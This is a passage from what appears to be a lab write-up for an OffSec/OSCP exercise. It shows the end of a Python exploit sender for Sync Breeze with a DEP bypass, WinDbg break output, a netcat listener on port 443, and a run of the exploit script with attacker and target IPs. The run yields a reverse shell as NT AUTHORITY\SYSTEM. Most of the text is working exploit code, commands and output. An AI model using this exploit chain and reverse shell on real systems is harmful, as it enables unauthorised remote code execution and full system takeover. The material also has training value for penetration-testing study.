print("{}[+] Connecting to the targeted host on port {}. ".format(WHITE, port))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
print("{}[+] Sending exploit PoC to {}. ".format(WHITE, sys.argv[3]))
s.send(buffer)
s.close()
print("[+] Exploit was delivered successfully.{}\n".format(WHITE))
except socket.error:
print("{}[-] Could not connect to {}.\n".format(BLUE, sys.argv[3]))
1
2
3
4
5
6
7
(1594.b5c): Break instruction exception - code 80000003 (first chance)
eax=002dd000 ebx=00000000 ecx=77c2b390 edx=77c2b390 esi=77c2b390 edi=77c2b390
eip=77bf2780 esp=01bfff44 ebp=01bfff70 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!DbgBreakPoint:
77bf2780 cc int 3
0:009> g
1
2
3
┌──(oscp㉿OSCP-KL-01)-[~/OffSec]
└─$ sudo nc -lvp 443
listening on [any] 443 ...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(oscp㉿OSCP-KL-01)-[~/OffSec]
└─$ python3 dev.py 192.168.45.181 443 192.168.237.45
________ _____ _____ _________ __ .__ __
\_____ \_/ ____\/ ____\/ _____// |________|__| | __ ____
/ | \ __\\ __\ \_____ \\ __\_ __ \ | |/ // __ \
/ | \ | | | / \| | | | \/ | <\ ___/
\_______ /__| |__| /_______ /|__| |__| |__|__|_ \\___ >
\/ \/ \/ \/
[+] Generating exploit shellcode
[+] Attacker IP: 192.168.45.181
[+] Attacker Port: 443
[+] Exploit shellcode generated successfully.
DISCLAIMER: With great power comes great responsibility!
Description: Sync Breeze exploit PoC with DEP bypass enabled.
[+] Connecting to the targeted host on port 80.
[+] Sending exploit PoC to 192.168.237.45.
[+] Exploit was delivered successfully.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(oscp㉿OSCP-KL-01)-[~/OffSec]
└─$ sudo nc -lvp 443
listening on [any] 443 ...
192.168.237.45: inverse host lookup failed: Unknown host
connect to [192.168.45.181] from (UNKNOWN) [192.168.237.45] 50135
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.237.45
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.237.254
C:\Windows\system32>



